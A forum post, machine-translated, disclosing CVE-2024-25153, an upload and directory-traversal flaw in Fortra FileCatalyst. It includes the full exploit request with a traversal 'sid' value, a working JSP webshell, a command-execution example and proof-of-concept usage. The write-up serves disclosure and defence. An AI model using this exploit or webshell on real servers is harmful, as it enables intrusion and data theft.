安全矩阵

 找回密码
 立即注册
搜索
查看: 835|回复: 0

CVE-2024-25153:Fortra FileCatalyst中的远程代码执行

[复制链接]

215

主题

215

帖子

701

积分

高级会员

Rank: 4

积分
701
发表于 2024-3-24 00:12:11 | 显示全部楼层 |阅读模式
这篇文章为机翻文,部分内容翻译的可能不是很准确,建议阅读原文:https://labs.nettitude.com/blog/ ... ortra-filecatalyst/

漏洞介绍

CVE-2024-25153是Fortra FileCatalyst中的一个严重的不安全文件上传和目录遍历漏洞,允许未经身份验证的远程攻击者在 Web 服务器上获取远程代码执行 (RCE)。这会影响 5.1.6 Build 114 之前的 Fortra FileCatalyst Workflow 5.x。
我们正在发布针对此漏洞的完整概念验证漏洞,可以在下面的GitHub上找到。
  1. <p>https://github.com/nettitude/CVE-2024-25153</p>
复制代码
Fortra FileCatalyst 是一种企业管理文件传输 (MFT) 解决方案,由多个组件组成 - FileCatalyst Direct、Workflow 和 Central。FileCatalyst Workflow包括一个 Web 门户,允许用户与组织中的任何人共享、修改和跟踪文件。
  1. https://www.goanywhere.com/products/filecatalyst/filecatalyst-workflow
复制代码




过去 12 个月,托管文件传输 (MFT) 应用程序中发现了多个重大漏洞,例如CVE-2023-34362(MOVEit Transfer 应用程序中的 SQL 注入和远程执行代码漏洞)以及CVE-2024-0204(一个Fortra GoAnywhere 的身份验证绕过问题。

LRQA Nettitude 在对在外部基础设施中使用 Fortra FileCatalyst 的客户进行安全评估时发现了 CVE-2024-25153。本文包含对该漏洞及其发现的完整分析。


文件上传分析-FtpServlet

在 FileCatalyst 工作流程中,文件上传过程涉及对以下 URL 的 POST 请求。

  1. https://{url}/workflow/servlet/ftpservlet
复制代码

下面是一个伪请求示例:
  1. <p>POST /workflow/servlet/ftpservlet?wf=octetStream&r=&h=X&u=X&p=&prt=21&d=/&ff=X&b=X&fs=X&dlm=X&c=PUT HTTP/1.1</p><p>Host: {url}</p><p>Content-Type: application/octet-stream </p><p>Cookie: JSESSIONID={SESSION}</p><p>X-File-Type: image/png</p><p>X-File-Name: upload.png</p><p>
  2. </p><p>{file contents}</p>
复制代码

尽管此请求需要会话令牌,但默认情况下,FileCatalyst Workflow允许公共用户匿名登录。此凭据或有效凭据是利用 CVE-2024-25153 的要求。



为了识别潜在的安全问题,我们从Fortra的公共网站下载并反编译了最新版本的FileCatalyst Workflow 。

  1. https://filecatalyst.software/workflow.html
复制代码

如下所示,一些字符串被混淆,使得对应用程序进行逆向工程的任务更具挑战性。


目录遍历分析

通过检查错误消息,我们确定文件通常会上传到 Web 根目录中的以下位置。
  1. https://{url}/workflow/uploadtemp/{session_id}/{file_name}
复制代码

但是,uploadtemp目录中的任何文件或文件夹都被明确拒绝公开访问,并且会话ID是随机生成的,用户不知道。

通常,攻击者会试图在X-File-Name请求标头中使用一系列点-点-斜杠(../)字符来跳到其他目标目录,但斜杠字符已被清除,因此不可能进行此攻击。



重要的是,我们观察到临时上传目录会在上传后不久被清理过程删除。确切的时间窗口取决于服务器端FTP连接完成所需的时间,这被认为足以进行潜在的攻击。

更重要的是,这意味着如果目录遍历成功,我们就无法在没有删除整个应用程序的风险的情况下定位顶级 Web 根目录。
在本地漏洞利用尝试期间,下面屏幕截图显示了这种不幸的影响。



如果在针对客户环境的安全评估期间尝试进行此攻击,则需要注意这一点。



识别隐藏参数

如果我们不能利用文件名字段中的目录遍历,我们如何才能将会话 ID 操纵为已知值?对这部分代码进行逆向工程揭示了以下功能,其中显示了一个可选查询参数 bb.decode(KVhV),用于构造会话 ID。


正如前面提到的,这个字符串值被混淆了,我们必须逆向混淆函数来识别原始字符串,如下所示,这显示了sid请求参数。




上传命令执行脚本

通过将sid参数处替换为点-点-斜杠(../),我们能够将服务器端可执行文件shell.jsp上传到uploadtemp目录之外的位置。
对于读到这里的任何人来说,不要尝试将文件上传到顶级目录,这一点非常重要,因为这可能会删除整个应用程序。

  1. <p>POST /workflow/servlet/ftpservlet?wf=octetStream&r=&h=X&u=X&p=&prt=21&d=/&ff=X&b=X&fs=X&dlm=X&c=PUT&sid=nettitude/../../nettitude/ HTTP/1.1</p><p>Host: {url}</p><p>Content-Type: application/octet-stream</p><p>Cookie: JSESSIONID={SESSION}</p><p>X-File-Type: a</p><p>X-File-Name: shell.jsp</p><p>
  2. </p><p><%@ page import="java.util.*,java.io.*"%></p><p><HTML><BODY></p><p><FORM METHOD="GET" NAME="myform" ACTION=""></p><p><INPUT TYPE="text" NAME="cmd"></p><p><INPUT TYPE="submit" VALUE="Send"></p><p></FORM></p><p><pre></p><p><%</p><p>if (request.getParameter("cmd") != null) {</p><p>   out.println("Command: " + request.getParameter("cmd") + "<BR>");</p><p>   Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));</p><p>   OutputStream os = p.getOutputStream();</p><p>   InputStream in = p.getInputStream();</p><p>   DataInputStream dis = new DataInputStream(in);</p><p>   String disr = dis.readLine();</p><p>   while ( disr != null ) {</p><p>      out.println(disr);</p><p>      disr = dis.readLine();</p><p>   }</p><p>}</p><p>%></p><p></pre></p><p></BODY></HTML></p>
复制代码

上面的上传请求成功,并且 shell.jsp 被放置在 Web 目录中的以下位置:
  1. https://{url}/workflow/nettitude/shell.jsp
复制代码

在实际环境中,应用程序可能需要不安全的权限才能在 Web 根目录中创建新目录。然而,在安全评估过程中观察到了这种配置,发现了 CVE-2024-25153,并且漏洞利用成功。

远程代码执行

上传 Webshell 后,就可以使用它来执行操作系统命令,如下所示:
  1. <p>https://{url}/workflow/nettitude/shell.jsp?cmd=whoami</p><p>Response:</p><p>nt authority\local service</p>
复制代码

以上表明可以实现操作系统级别的访问,攻击者可以读取或修改系统上的数据,可能包括其他用户上传的文件。这带来了严重的机密性、完整性和可用性风险。

同样,在FileCatalyst Direct中,也观察到同样存在漏洞的 FtpServlet:

  1. <p>https://www.goanywhere.com/products/filecatalyst/filecatalyst-direct</p><p>https://{url}:12480/servlet/ftpservlet</p>
复制代码

这似乎具有相同的功能,并且也被确定可以按照上述步骤进行利用。

概念验证漏洞利用

我们已经为 CVE-2024-25153 创建了完整的概念验证漏洞,可以在下面的 GitHub 上找到。
https://github.com/nettitude/CVE-2024-25153
要使用它,语法如下:

./CVE-2024-25153.py --host <hostname> --port <port> --url <url> --cmd <command>
该工具将执行以下操作:
自动检测是否启用匿名登录
获取有效的会话令牌
上传具有伪随机生成的文件名的命令执行脚本
执行操作系统命令
下面的屏幕截图演示了这一点。


披露流程

该漏洞于2023年8月7日发现,于2023年8月9日向Fortra报告,并于2023年8月11日发布有效补丁。Fortra于2023年12月被授权为CVE编号机构(CNA),此时CVE-2024-25153已分配并计划公开披露。


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-27 23:38 , Processed in 0.013407 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表